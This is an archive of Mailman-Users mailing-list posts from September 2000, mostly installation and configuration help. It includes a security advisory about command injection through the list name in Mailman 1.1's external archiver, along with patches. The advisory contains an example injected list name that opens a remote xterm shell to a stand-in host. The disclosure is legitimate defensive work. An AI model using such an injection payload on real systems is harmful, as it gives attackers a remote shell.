I even tried the symlink to wrapper as described in README.SENDMAIL

Thank you.

-- 
Laurian Gridinoc
Chief Web Developer
GRAPEFRUIT DESIGN
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From laur at grapefruitdesign.com  Fri Sep  8 01:34:16 2000
From: laur at grapefruitdesign.com (Laurian Gridinoc)
Date: Fri, 08 Sep 2000 02:34:16 +0300
Subject: [Mailman-Users] details - help sendmail
Message-ID: <39B825F8.8050909@grapefruitdesign.com>

Sorry for the lack of details in my prevoius email, it was before I took my coffee...

I setup mailmain [latest from list.org], and created a list named debug [I hope is not a reserved name]
and I subscribed via web on it, and when I try to reply I get user unknown error from the sendmail there.

I wonder what I missed, I installed as described in INSTALL.
I'm not sure on the gid I should set for mail stuff, for cgi I resolved.
Being user mailman and trying the python stuff for getting my guid, I get 501.

The logs of mailman does not say anything about an error.

I tried even to hook the wrapper as described in README.SENDMAIL, and no change.

Here is the bounce:

The original message was received at Fri, 8 Sep 2000 01:45:00 +0300
from IDENT:root at smith.thedot.net [207.241.173.66]

   ----- The following addresses had permanent fatal errors -----
<debug-request at sinless.org>

   ----- Transcript of session follows -----
... while talking to sinless.org.:
>>> 
>>>  >>> RCPT To:<debug-request at sinless.org>

<<< 550 <debug-request at sinless.org>... User unknown
550 <debug-request at sinless.org>... User unknown

------------------------------------------------------------------------

Reporting-MTA: dns; zion.thedot.net
Received-From-MTA: DNS; smith.thedot.net
Arrival-Date: Fri, 8 Sep 2000 01:45:00 +0300

Final-Recipient: RFC822; debug-request at sinless.org
Action: failed
Status: 5.1.1
Remote-MTA: DNS; sinless.org
Diagnostic-Code: SMTP; 550 <debug-request at sinless.org>... User unknown
Last-Attempt-Date: Fri, 8 Sep 2000 01:45:10 +0300


------------------------------------------------------------------------

Subject:

Re: Debug -- confirmation of subscription -- request 328403
From:

Laurian Gridinoc <laur at grapefruitdesign.com>
Date:

Fri, 08 Sep 2000 01:45:34 +0300

To:

debug-request at sinless.org


debug-request at sinless.org wrote:
> 
> Debug -- confirmation of subscription -- request 328403
> 
> We have received a request from mango.opsynet.com for subscription of
> your email address, <laur at grapefruitdesign.com>, to the
> debug at sinless.org mailing list.  To confirm the request, please send a
> message to debug-request at sinless.org, and either:
> 
> - maintain the subject line as is (the reply's additional "Re:" is
> ok),
> 
> - or include the following line - and only the following line - in the
> message body: 
> 
> confirm 328403
> 
> (Simply sending a 'reply' to this message should work from most email
> interfaces, since that usually leaves the subject line in the right
> form.)
> 
> If you do not wish to subscribe to this list, please simply disregard
> this message.  Send questions to debug-admin at sinless.org.
> 
-- 
Laurian Gridinoc
Chief Web Developer
GRAPEFRUIT DESIGN
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From Dan.Mick at West.Sun.COM  Fri Sep  8 01:59:27 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Thu, 7 Sep 2000 16:59:27 -0700 (PDT)
Subject: [Mailman-Users] details - help sendmail
Message-ID: <200009072358.QAA13245@utopia.west.sun.com>

You say nothing here about adding the aliases for the list to 
/etc/aliases or /etc/mail/aliases.  Is that because you didn't?

> Sorry for the lack of details in my prevoius email, it was before I took my 
coffee...
> 
> I setup mailmain [latest from list.org], and created a list named debug [I 
hope is not a reserved name]
> and I subscribed via web on it, and when I try to reply I get user unknown 
error from the sendmail there.
> 
> I wonder what I missed, I installed as described in INSTALL.
> I'm not sure on the gid I should set for mail stuff, for cgi I resolved.
> Being user mailman and trying the python stuff for getting my guid, I get 501.
> 
> The logs of mailman does not say anything about an error.
> 
> I tried even to hook the wrapper as described in README.SENDMAIL, and no 
change.
> 
> Here is the bounce:
> 
> The original message was received at Fri, 8 Sep 2000 01:45:00 +0300
> from IDENT:root at smith.thedot.net [207.241.173.66]
> 
>    ----- The following addresses had permanent fatal errors -----
> <debug-request at sinless.org>
> 
>    ----- Transcript of session follows -----
> ... while talking to sinless.org.:
> >>> 
> >>>  >>> RCPT To:<debug-request at sinless.org>
> 
> <<< 550 <debug-request at sinless.org>... User unknown
> 550 <debug-request at sinless.org>... User unknown
> 
> ------------------------------------------------------------------------
> 
> Reporting-MTA: dns; zion.thedot.net
> Received-From-MTA: DNS; smith.thedot.net
> Arrival-Date: Fri, 8 Sep 2000 01:45:00 +0300
> 
> Final-Recipient: RFC822; debug-request at sinless.org
> Action: failed
> Status: 5.1.1
> Remote-MTA: DNS; sinless.org
> Diagnostic-Code: SMTP; 550 <debug-request at sinless.org>... User unknown
> Last-Attempt-Date: Fri, 8 Sep 2000 01:45:10 +0300
> 
> 
> ------------------------------------------------------------------------
> 
> Subject:
> 
> Re: Debug -- confirmation of subscription -- request 328403
> From:
> 
> Laurian Gridinoc <laur at grapefruitdesign.com>
> Date:
> 
> Fri, 08 Sep 2000 01:45:34 +0300
> 
> To:
> 
> debug-request at sinless.org
> 
> 
> debug-request at sinless.org wrote:
> > 
> > Debug -- confirmation of subscription -- request 328403
> > 
> > We have received a request from mango.opsynet.com for subscription of
> > your email address, <laur at grapefruitdesign.com>, to the
> > debug at sinless.org mailing list.  To confirm the request, please send a
> > message to debug-request at sinless.org, and either:
> > 
> > - maintain the subject line as is (the reply's additional "Re:" is
> > ok),
> > 
> > - or include the following line - and only the following line - in the
> > message body: 
> > 
> > confirm 328403
> > 
> > (Simply sending a 'reply' to this message should work from most email
> > interfaces, since that usually leaves the subject line in the right
> > form.)
> > 
> > If you do not wish to subscribe to this list, please simply disregard
> > this message.  Send questions to debug-admin at sinless.org.
> > 
> -- 
> Laurian Gridinoc
> Chief Web Developer
> GRAPEFRUIT DESIGN
> ------------------------------------------------------------------
> e-mail:         laur at grapefruitdesign.com
> ICQ:            73831683
> phone:          +40 95 304379
> fax/voice:      (646) 349-2916 (United States)
> fax/voice:      (0870) 126-5735 (UK)
> web:            www.grapefruitdesign.com
> ------------------------------------------------------------------
> 
> 
> 





From mjl at squid.jpl.nasa.gov  Fri Sep  8 04:34:47 2000
From: mjl at squid.jpl.nasa.gov (Mark Lysek)
Date: Thu, 07 Sep 2000 19:34:47 -0700
Subject: [Mailman-Users] Mailman/FreeBSD lockup
Message-ID: <4.3.2.7.2.20000907172846.00c4d650@squid.jpl.nasa.gov>

Help!,
My (brand new) Mailman installation locks up when posting messages about 
50Kb or larger. (FreeBSD version 4.0, Mailman version 2.0beta5 installed 
from the FreeBSD ports, Python 1.5.2 from the FreeBSD ports, Sendmail 8.9.3)

To isolate the problem, I created a list with only one subscriber on the 
same host as the mailman installation.  When a 80Kb plaintext message is 
posted to the list, qrunner stays around until it times out, without 
completing it's session with sendmail.  The partially queued message is 
consistently 49152 bytes long.  Shorter messages are delivered without any 
problems.  While it's stuck, the following processes are hanging around:

mailman 39004  /bin/sh -c /usr/local/bin/python -S /usr/local/mailman/cron/...
mailman 39005  /usr/local/bin/python -S /usr/local/mailman/cron/qrunner
root    39007  sendmail: server localhost [127.0.0.1] child wait (sendmail)
root    39008  sendmail: TAA39008 localhost [127.0.0.1]: data (sendmail)

Is there a timeout setting that should be increased?

(This doesn't seem to be related to the problem mentioned in the mailman 
README.BSD file, where they mention a known problem with the posixfile.py 
module.  To be sure, I added "freebsd4" to the list of OS's in that patch.)

Thanks,
-Mark
mjl at squid.jpl.nasa.gov





From Darxus at ChaosReigns.com  Fri Sep  8 04:56:14 2000
From: Darxus at ChaosReigns.com (Darxus at ChaosReigns.com)
Date: Thu, 7 Sep 2000 22:56:14 -0400
Subject: [Mailman-Users] list member accessable only web page ?
Message-ID: <20000907225614.P261@chaosreigns.com>

I would like to create a web page that can only be viewed by members of a
particular mailing list.  Very much like when "The subscribers list is
only available to the list members.", and you try to access the subscriber
list, and it requires a valid email address and corresponding password.

I'm wondering if anyone is working on this, or considering working on
this (or already implemented it & I missed something).

I noticed the addresses & passwords are stored in
/var/lib/mailman/lists/<listname>/config.db on my (debian) system, with
passwords in cleartext.

I think my preference would be for mailman to switch to using dbm files to
store it's addresses & passwords.. but mostly because I think I already
know how to make apache authenticate off of one of those.

The 2 possibilities I'm considering are:

1) Nightly cron job building a dbm off of config.db, for use in
   authentication by apache.

2) Hacking the mailman code to create another page with the same
   authentication as the subscriber list, but with custom content (which
   would be my 1st venture into python).

-- 
http://www.ChaosReigns.com



From Dan.Mick at West.Sun.COM  Fri Sep  8 05:12:00 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Thu, 7 Sep 2000 20:12:00 -0700 (PDT)
Subject: [Mailman-Users] Mailman/FreeBSD lockup
Message-ID: <200009080310.UAA18136@utopia.west.sun.com>

As always, it would be *really* interesting to know just what those
processes are doing; apparently the FreeBSD command is 'ktrace'.
Is sendmail refusing to read more data, or is mailman refusing to
send it, or what?

> Help!,
> My (brand new) Mailman installation locks up when posting messages about 
> 50Kb or larger. (FreeBSD version 4.0, Mailman version 2.0beta5 installed 
> from the FreeBSD ports, Python 1.5.2 from the FreeBSD ports, Sendmail 8.9.3)
> 
> To isolate the problem, I created a list with only one subscriber on the 
> same host as the mailman installation.  When a 80Kb plaintext message is 
> posted to the list, qrunner stays around until it times out, without 
> completing it's session with sendmail.  The partially queued message is 
> consistently 49152 bytes long.  Shorter messages are delivered without any 
> problems.  While it's stuck, the following processes are hanging around:
> 
> mailman 39004  /bin/sh -c /usr/local/bin/python -S /usr/local/mailman/cron/...
> mailman 39005  /usr/local/bin/python -S /usr/local/mailman/cron/qrunner
> root    39007  sendmail: server localhost [127.0.0.1] child wait (sendmail)
> root    39008  sendmail: TAA39008 localhost [127.0.0.1]: data (sendmail)
> 
> Is there a timeout setting that should be increased?
> 
> (This doesn't seem to be related to the problem mentioned in the mailman 
> README.BSD file, where they mention a known problem with the posixfile.py 
> module.  To be sure, I added "freebsd4" to the list of OS's in that patch.)
> 
> Thanks,
> -Mark
> mjl at squid.jpl.nasa.gov
> 
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users





From steve at taranaki.ac.nz  Fri Sep  8 05:43:28 2000
From: steve at taranaki.ac.nz (Steve Leek)
Date: Fri, 8 Sep 2000 15:43:28 +1200
Subject: [Mailman-Users] Subscription confirmation problem
Message-ID: <000d01c01946$f3a3fe70$b98437d2@taranaki.ac.nz>

Just setting up Mailman for the first time, running on RedHat 6.2, Mailman
2.0beta5, Sendmail 8.9.3, Apache 1.3.12.

When subscribing to a list, request for confirmation comes through OK, after
confirming, message received back as held with "Message has implicit
destination" reason. List admin tries to approve subscription but there are
no options to Refuse or Subscribe the user. When checking the approve box on
the Administrative requests page the subscription request message is
released and gets posted to the list! The approval seems to be waiting in
the pending_subscriptions database and there does not appear to be any way
to release it. The list setting is for confirm only not for approval. User
subscription via the web page and via email produces the same results, list
admin subscribing the user works fine. Once subscribed everything else
appears to be working OK. It also appears that other admin type messages go
to the list!

Any help gratefully received as I am keen to get it running.





From scott at emji.net  Fri Sep  8 06:22:20 2000
From: scott at emji.net (Scott R. Every)
Date: Fri, 08 Sep 2000 00:22:20 -0400
Subject: [Mailman-Users] feature question
Message-ID: <13644465.3177361340@sdhcp3.emji.net>

how would i go about putting the following at the end of each email for 
certain lists?

You are subscribed as: scott at emji.net

or something similar...any suggestions?

thanx

s

--
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EMJ Internet - http://www.emji.net
voice : 1-888-258-8959  fax : 1-919-363-4425



From Dan.Mick at West.Sun.COM  Fri Sep  8 06:27:06 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Thu, 7 Sep 2000 21:27:06 -0700 (PDT)
Subject: [Mailman-Users] feature question
Message-ID: <200009080426.VAA19326@utopia.west.sun.com>

> how would i go about putting the following at the end of each email for 
> certain lists?
> 
> You are subscribed as: scott at emji.net
> 
> or something similar...any suggestions?

This comes up every week.  What you're asking for is essentially
"VERP"; Mailman doesn't implement it.

It's a bit difficult, because it means that each and every
subscriber's copy of the message would have to be sent out as a
different transaction (since each one is customized with the
addressee).  At the moment, many users are handled with one MTA
transaction, because the message is the same for all.




From chuqui at plaidworks.com  Fri Sep  8 06:28:40 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Thu, 7 Sep 2000 21:28:40 -0700
Subject: [Mailman-Users] feature question
In-Reply-To: <13644465.3177361340@sdhcp3.emji.net>
References: <13644465.3177361340@sdhcp3.emji.net>
Message-ID: <p04320403b5de1b591ea6@[209.239.169.197]>

At 12:22 AM -0400 9/8/00, Scott R. Every wrote:
>how would i go about putting the following at the end of each email 
>for certain lists?
>
>You are subscribed as: scott at emji.net

it's been talked about a number of times recently. Check the 
archives. But basically, you can't without a good amount of hacking. 
But fi you want to hack, some approaches are in the archives.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From Nigel.Metheringham at VData.co.uk  Fri Sep  8 10:48:26 2000
From: Nigel.Metheringham at VData.co.uk (Nigel Metheringham)
Date: Fri, 08 Sep 2000 09:48:26 +0100
Subject: [Mailman-Users] search engine? archiving old messages? 
In-Reply-To: Message from "Steven J. Clark" <sclark@rwii.com> 
   of "Thu, 07 Sep 2000 15:52:05 EDT." <39B7F1E5.E6047CF3@rwii.com> 
Message-ID: <E13XJpi-0000dk-00@rioja.localnet>

sclark at rwii.com said:
> Can a search engine be hooked up to a mailman email archive?  Would I
> be exploring new territory to attempt to do so, or have others blazed
> a trail? 

In contrast to Mr Lawrence I am using the inbuilt pipermail archiver 
with htdig, which seems work passably well.

You *do* want to add this patch which prevents the indexer indexing the 
tables of contents and other cruft which then gives you lost of false 
positives on searches.
 http://sourceforge.net/patch/index.php?func=detailpatch&patch_id=100867
&group_id=103

An example of this form of configuration can be seen at
	http://www.exim.org/

- follow the Mailing Lists link
	http://www.exim.org/maillist.html

	Nigel.
-- 
[ - Opinions expressed are personal and may not be shared by VData - ]
[ Nigel Metheringham                  Nigel.Metheringham at VData.co.uk ]
[ Phone: +44 1423 850000                         Fax +44 1423 858866 ]





From aboy at foldrajz.ttk.pte.hu  Fri Sep  8 17:30:11 2000
From: aboy at foldrajz.ttk.pte.hu (Aubert Gabor)
Date: Fri, 8 Sep 2000 17:30:11 +0200 (CEST)
Subject: [Mailman-Users] problem
Message-ID: <Pine.LNX.4.10.10009081726320.25652-100000@foldrajz.ttk.pte.hu>

Dear Mailman coders!

I had a hard afternoon today, i tried to install mailman, but I can't,
maybe i'm too lame for this...
I install the software as it is described in the INSTALL file. 
I create a test-list, it posts the welcome message. As I try to write a
mail to test-request at host with subject: help I will have a message like
this:

   ----- Transcript of session follows -----
554 "|/home/mailman/mail/wrapper mailcmd teszt1"... unknown mailer error 2

Theoretically the group IDs and the wrapper (smrsh) are correct.
What else can the problem be?

Thanks for your help!

Bye: aboy




From Darxus at ChaosReigns.com  Fri Sep  8 18:35:48 2000
From: Darxus at ChaosReigns.com (Darxus at ChaosReigns.com)
Date: Fri, 8 Sep 2000 12:35:48 -0400
Subject: [Mailman-Users] list member accessable only web page ?
In-Reply-To: <20000907225614.P261@chaosreigns.com>; from Darxus@chaosreigns.com on Thu, Sep 07, 2000 at 10:56:14PM -0400
References: <20000907225614.P261@chaosreigns.com>
Message-ID: <20000908123548.R261@chaosreigns.com>

I got it to work.

 1) download the source tarball
 2) get it to compile
 3) go into the src directory
 4) edit the Makefile and add "listonly" to CGI_PROGS=
 5) run make
 6) copy listonly to /usr/lib/mailman/cgi-bin
 7) make its permissions match the rest of the files in the directory
 8) cp /usr/lib/mailman/Mailman/Cgi/roster.py
    /usr/lib/mailman/Mailman/Cgi/listonly.py
 9) edit listonly.py, and replace "roster.html" with "listonly.html"
10) cp /var/lib/mailman/lists/listname/roster.html
    /var/lib/mailman/lists/listname/listonly.html
11) put your custom web page in
    /var/lib/mailman/lists/listname/listonly.html
12) Create a form to prompt for user address & password to access the page
    like so (I just put this in a seperate html file on my site for now):

<FORM Method=POST ACTION="/mailman/listonly/listname">
Address: <INPUT type="Text" name="roster-email" size="20">
Password: <INPUT type="Password" name="roster-pw" size="15">
<INPUT name="SubscriberRoster" type="SUBMIT" value="Submit"></center>
</FORM>


This will grant the same access to the listonly.html page as to the
roster.html (userlist) page.

I'll probably fix this, but I felt like sharing before I forgot what I
did.  If I forgot a step or something, please correct me.

I think the right way to do this is probably to create 1 wrapper & script
to handle requests for /mailman/listonly/listname/filename.html, where
filename.html is any file in /var/lib/mailman/lists/listname/listonly/

Should I work on a patch ?  Would people be interested in having this
feature added to mailman ?

-- 
http://www.ChaosReigns.com



From eric.berthiaume at up2.com  Fri Sep  8 19:02:32 2000
From: eric.berthiaume at up2.com (Eric Berthiaume)
Date: Fri, 8 Sep 2000 13:02:32 -0400
Subject: [Mailman-Users] Error when sending mail to mailman
Message-ID: <CPENKPINDMNCJEBFHJDPOEDBCAAA.eric.berthiaume@up2.com>

Problem:

- When sending mail (subscribe|request|help|post) to the mailman server it
dissapears with no trace.

Setup:

Solaris 2.6
Postfix MTA
Mailman-2.0beta5

mailman setup: /home/mailman

- aliases are in place and postfix can execute external command
bobo:	"|echo bobo > /tmp/bobo.txt

- When looking in the smtp logs everything looks ok
Sep 08 12:33:10 2000 (13408) smtp for 1 recips, completed in 0.260 seconds

Eric Berthiaume
maverick at up2.com




From claw at nuron.com  Fri Sep  8 19:07:40 2000
From: claw at nuron.com (J C Lawrence)
Date: Fri, 08 Sep 2000 10:07:40 -0700
Subject: [Mailman-Users] feature question 
In-Reply-To: Message from "Scott R. Every" <scott@emji.net> 
   of "Fri, 08 Sep 2000 00:22:20 EDT." <13644465.3177361340@sdhcp3.emji.net> 
References: <13644465.3177361340@sdhcp3.emji.net> 
Message-ID: <1608.968432860@nuron.com>

On Fri, 08 Sep 2000 00:22:20 -0400 
Scott R Every <scott at emji.net> wrote:

> how would i go about putting the following at the end of each
> email for certain lists?

What you are asking for is VERP.  Mailman currently does not support
VERP.  If your MTA does (eg Exim, Postfix, Qmail) you can post
porcess list messages upon MTA receipt to VERP them.

-- 
J C Lawrence                                 Home: claw at kanga.nu
---------(*)                                Work: claw at nuron.com
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--



From rick at niof.net  Fri Sep  8 19:28:35 2000
From: rick at niof.net (Rick Pasotto)
Date: Fri, 8 Sep 2000 13:28:35 -0400
Subject: [Mailman-Users] feature question
In-Reply-To: <1608.968432860@nuron.com>; from claw@nuron.com on Fri, Sep 08, 2000 at 10:07:40AM -0700
References: <13644465.3177361340@sdhcp3.emji.net> <scott@emji.net> <1608.968432860@nuron.com>
Message-ID: <20000908132834.K15788@tc.niof.net>

On Fri, Sep 08, 2000 at 10:07:40AM -0700, J C Lawrence wrote:
> On Fri, 08 Sep 2000 00:22:20 -0400 
> Scott R Every <scott at emji.net> wrote:
> 
> > how would i go about putting the following at the end of each
> > email for certain lists?
> 
> What you are asking for is VERP.  Mailman currently does not support
> VERP.  If your MTA does (eg Exim, Postfix, Qmail) you can post
> porcess list messages upon MTA receipt to VERP them.

OK, I'm ignorant. I finally figured out that "post" was an adverb
modifying "process" and not a verb but I still don't know what VERP
means nor do I have any clue as to where to start looking to learn how
to do what you suggest.

Help, please. (I'm using Exim.)

-- 
"The means of defense against foreign danger historically have become
the instruments of tyranny at home."
		-- James Madison	
		   Rick Pasotto email: rickp at telocity.com



From tsf at opus.Telcom.Arizona.EDU  Fri Sep  8 20:06:09 2000
From: tsf at opus.Telcom.Arizona.EDU (Ted Frohling)
Date: Fri, 08 Sep 2000 11:06:09 -0700
Subject: [Mailman-Users] listinfo not finding lists with mixed case hostnames
Message-ID: <39B92A91.273EBE59@opus.telcom.arizona.edu>

In 1.1 and now 2.0b5 we noticed that public lists were not showing up
with
listinfo.  We tracked this down to a string.find that was confused by
mixed
case host names.  So here's the diff

mailman-2.0beta2/Mailman/Cgi/

$ rcsdiff -c -r1.1 listinfo.py
===================================================================
RCS file: listinfo.py,v
retrieving revision 1.1
diff -c -r1.1 listinfo.py
*** 1.1 2000/09/08 16:50:42
--- listinfo.py 2000/09/08 17:37:52
***************
*** 88,95 ****
        if mlist.advertised:
            if mm_cfg.VIRTUAL_HOST_OVERVIEW and \
                      http_host and \
!                     string.find(http_host, mlist.web_page_url) == -1
and \
!                     string.find(mlist.web_page_url, http_host) == -1:
                # List is for different identity of this host - skip it.

                continue
            else:
--- 88,95 ----
        if mlist.advertised:
            if mm_cfg.VIRTUAL_HOST_OVERVIEW and \
                      http_host and \
!                     string.find(string.lower(http_host),
string.lower(mlist.web_page_url)) == -1 and \
!                     string.find(string.lower(mlist.web_page_url),
string.lower(http_host)) == -1:
                # List is for different identity of this host - skip it.

                continue
            else:


--
    Ted Frohling (TF30-ARIN)                   The University of Arizona
    520.621.4834                                           CCIT Room 307
    tsf at Arizona.EDU                                        PO Box 210073
    www.Telcom.Arizona.EDU/tsf                     Tucson, AZ 85721-0073






From eric.berthiaume at up2.com  Fri Sep  8 20:53:34 2000
From: eric.berthiaume at up2.com (Eric Berthiaume)
Date: Fri, 8 Sep 2000 14:53:34 -0400
Subject: [Mailman-Users] Error when sending mail to mailman
Message-ID: <CPENKPINDMNCJEBFHJDPGEDGCAAA.eric.berthiaume@up2.com>

Probally not the clearest post I did but i'll try to clear things up (I said
I would try :) )

I can't see where the mails I send to the list for whatever reason
(post|request|help|confirmations) are going.

I know its getting to postfix as the logs appear to be ok:

Sep  8 14:31:21 hostname postfix/local[19132]: C2DE15E5E7:
to=<test-request at domain.com>, relay=local, delay=2, status=sent
("|/home/mailman/mail/wrapper mailcmd test")

I can also see the post|subscribe|smtp logs:

/home/mailman/logs
SMTP:Sep 08 14:02:04 2000 (18840) smtp for 1 recips, completed in 1.730
seconds
POST:Sep 08 14:30:41 2000 (20514) post to test from test-request at up2.com,
size=728, success
SUBSCRIBE:Sep 08 14:30:41 2000 (20514) test: pending username at domain.com
mymachine at domain.com

I can't get anything to log in error

Is there anything I need to change in the mm_cfg.py to trigger more info in
the logs or just log in error??

I also tried switching SMTP modules from SMTPDirect to Sendmail without
success.

If anybody has ever encounter this problem and as the solution, I would
appreciate very much.

Thanks!!

Eric Berthiaume
maverick at up2.com


-----Original Message-----
From: mailman-users-admin at python.org
[mailto:mailman-users-admin at python.org]On Behalf Of Eric Berthiaume
Sent: September 8, 2000 13:03 PM
To: mailman-users at python.org
Subject: [Mailman-Users] Error when sending mail to mailman


Problem:

- When sending mail (subscribe|request|help|post) to the mailman server it
dissapears with no trace.

Setup:

Solaris 2.6
Postfix MTA
Mailman-2.0beta5

mailman setup: /home/mailman

- aliases are in place and postfix can execute external command
bobo:	"|echo bobo > /tmp/bobo.txt

- When looking in the smtp logs everything looks ok
Sep 08 12:33:10 2000 (13408) smtp for 1 recips, completed in 0.260 seconds

Eric Berthiaume
maverick at up2.com


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http://www.python.org/mailman/listinfo/mailman-users



From lindsey at mallorn.com  Fri Sep  8 21:16:12 2000
From: lindsey at mallorn.com (Christopher P. Lindsey)
Date: Fri, 8 Sep 2000 14:16:12 -0500
Subject: [Mailman-Users] Mailman 1.1 + external archiver vulnerability
Message-ID: <20000908141612.F10787@mallorn.com>

SUMMARY

   Mailman from www.list.org is a mailing list manager with strong Web
   functionality.  If a site is running Mailman 1.1 with an external
   archiving mechanism that uses the internal variable %(listname)s,
   list administrators can run any command with the Webserver's
   uid/gid.

   A patch is available at the end of this message.

WHO'S VULNERABLE

   Sites running versions prior to Mailman 1.2beta with external
   archiving enabled.

HISTORY

   This bug was reported to the developers in late November, 1999, and
   was fixed in the CVS source tree.  Newer beta versions of Mailman
   are not susceptible, yet it has recently come to my attention
   that the vulnerable 1.1 package is still available as a stable,
   non-beta release on the Mailman site(s):

      ftp://ftp.list.org/pub/mailman/
      ftp://ftp.gnu.org/gnu/mailman/

DETAILS

   Mailman has a mechanism that allows messages sent to a mailing list to
   be pumped into some sort of external program.  Traditionally this
   involves some sort of Web-based archiver like MHonArc or hypermail.
   To make the archiving more powerful, macros can be used based on
   internal Mailman values.  For example, list archives can be saved
   on a per list basis with this line in $prefix/Mailman/mm_cfg.py:

      PUBLIC_EXTERNAL_ARCHIVER  = '(mhonarc -add -nolock -umask 023 -rcfile rc.%(listname)s -outdir /mnt/WWW/htdocs/lists/%(listname)s)'

   The problem comes from the %(listname)s expansion.  Since it's derived
   from a value that can be set on a per list basis by the list administrator,
   it's subject to tampering.  Consider a list who's name was changed
   to

      `/usr/X11R6/bin/xterm -display myhost.example.com:0 -e /bin/csh`

   by a list administrator.  As soon as a message is sent to the list
   this command will be executed, opening a remote xterm with a shell
   running with the Web server's uid/gid.  Any command available to the
   Web server can be executed in this fashion.

   Other variable names can be accessed if your PUBLIC_EXTERNAL_ARCHIVER
   definition is configured to use them.  The patch below will only
   fix problems with %(listname)s expansion.

SOLUTION

   Upgrade to a later version of Mailman, or install the supplied patch.

PATCH

   This patch was provided my the Mailman developers and later cleaned up
   to work against a stock 1.1 distribution.  It works by only allowing
   listowners to change case values within the name of their list.

   Obviously a better long-term solution that sanitizes system calls, etc.
   should be considered.

   The purpose of this report is not to disrespect the Mailman
   team or the software, but rather to warn users who have been
   downloading the 1.1 package while waiting for the beta to emerge
   as a final release.

Christopher Lindsey
lindsey at mallorn.com
Mallorn Computing, Inc.

-------------------- snip snip --------------------
*** admin.py.bak        Mon Mar 13 21:03:53 2000
--- admin.py    Mon Mar 13 21:04:51 2000
***************
*** 784,789 ****
--- 784,800 ----
                  val = cgi_info[property].value
              value = GetValidValue(lst, property, kind, val, deps)
              if getattr(lst, property) != value:
+                 # TBD: Ensure that lst.real_name differs only in letter
+                 # case.  Otherwise a security hole can potentially be opened
+                 # when using an external archiver.  This seems ad-hoc and
+                 # could use a more general security policy.
+                 if property == 'real_name' and \
+                    string.lower(value) <> string.lower(lst._internal_name):
+                     # then don't install this value.
+                     document.AddItem("""<p><b>real_name</b> attribute not
+                     changed!  It must differ from the list's name by case
+                     only.<p>""")
+                     continue
                  setattr(lst, property, value)
                  dirty = 1
      #
-------------------- snip snip --------------------




From Dan.Mick at West.Sun.COM  Fri Sep  8 21:24:18 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Fri, 8 Sep 2000 12:24:18 -0700 (PDT)
Subject: [Mailman-Users] feature question
Message-ID: <200009081923.MAA05694@utopia.west.sun.com>

> On Fri, Sep 08, 2000 at 10:07:40AM -0700, J C Lawrence wrote:
> > On Fri, 08 Sep 2000 00:22:20 -0400 
> > Scott R Every <scott at emji.net> wrote:
> > 
> > > how would i go about putting the following at the end of each
> > > email for certain lists?
> > 
> > What you are asking for is VERP.  Mailman currently does not support
> > VERP.  If your MTA does (eg Exim, Postfix, Qmail) you can post
> > porcess list messages upon MTA receipt to VERP them.
> 
> OK, I'm ignorant. I finally figured out that "post" was an adverb
> modifying "process" and not a verb but I still don't know what VERP
> means nor do I have any clue as to where to start looking to learn how
> to do what you suggest.
> 
> Help, please. (I'm using Exim.)

I just opened http://www.google.com, entered "exim verp", and the 
third hit was this:

http://www.dcs.ed.ac.uk/home/exim/FAQ.html

Go there and search for VERP.




From Darxus at ChaosReigns.com  Fri Sep  8 22:02:56 2000
From: Darxus at ChaosReigns.com (Darxus at ChaosReigns.com)
Date: Fri, 8 Sep 2000 16:02:56 -0400
Subject: [Mailman-Users] bugs/complaints: text reformatting & badly placed <form>
Message-ID: <20000908160255.Z261@chaosreigns.com>

In order of decreasing importance:
(version is 2.0beta5)

1) "welcome_msg" mangling:  

Apparently some kind of "intelligent" reformatting is done on the
welcome_msg as it is sent out:  adding carriage returns after some column
number, and apparently merging short lines together.

In my welcome_message, I have a 74 line email, including a gpg signiture.
It totally mangles the formatting so that it looks ugly, the text will not
match the signiture, and the signiture is mangled enough that gpg doesn't
even realize it's there.


2) "info" mangling:

The description of this field tells me it will be parsed as html, but then
goes ahead & assumes I don't know how to write html, and inserts <br>s at
the beginning of every line, messing up my html.  


3) Badly placed <form>:

I added an html form to my "info".  For some reason, the opening <form>
tag for subscription form (<MM-Subscribe-Form-Start>) is up above where
"info" is placed, so everything got messed up, and I had to manually move
<MM-Subscribe-Form-Start> to line 33 to fix it.


4) And on my list, which I'm not archiving, it is providing a link to
non-existant archives (which I'm going to edit out now).


I appreciate that mailman is flexible enough to allow me to fix #3 & #4.
What's the easiest way to fix the other 2 ?

-- 
http://www.ChaosReigns.com



From pfaff at edge.cis.mcmaster.ca  Fri Sep  8 23:37:23 2000
From: pfaff at edge.cis.mcmaster.ca (Todd Pfaff)
Date: Fri, 8 Sep 2000 17:37:23 -0400 (EDT)
Subject: [Mailman-Users] Mailman 1.1 + external archiver vulnerability
In-Reply-To: <20000908141612.F10787@mallorn.com>
Message-ID: <Pine.SOL.4.21.0009081640530.13212-100000@edge.cis.mcmaster.ca>

I checked my mailman-1.1 installation to see if it was vulnerable as
indicated.  It turned out that I could not exploit this hole because of a
patch that I had applied earlier to fix some other problem.

This patch ensures that the external archiver expansion of %(listname)s
uses the self._internal_name of the list rather than the real_name, which
can not be modified by the list admin.  This patch does not prevent the
list admin from changing the real_name to something malicious, so it will
not protect against any other part of mailman-1.1 that has a vulnerable
external command call that can be influenced by a listname expansion.

IMHO, real_name was a bad choice for that property.  I think a more 
correct name for the admin-modifiable name property would have been
public_name, display_name or formatted_name.

Here's the patch:

--- Mailman/Archiver/Archiver.py.orig   Fri Sep  3 23:16:02 1999
+++ Mailman/Archiver/Archiver.py        Tue Feb 22 08:54:06 2000
@@ -183,7 +183,7 @@
             post.SetHeader('Date', olddate)
 
     def ExternalArchive(self, ar, txt):
-        d = SafeDict({'listname': self.real_name})
+        d = SafeDict({'listname': self._internal_name})
         cmd = ar % d
         extarch = os.popen(cmd, 'w')
         extarch.write(txt)


On Fri, 8 Sep 2000, Christopher P. Lindsey wrote:

> Date: Fri, 8 Sep 2000 14:16:12 -0500
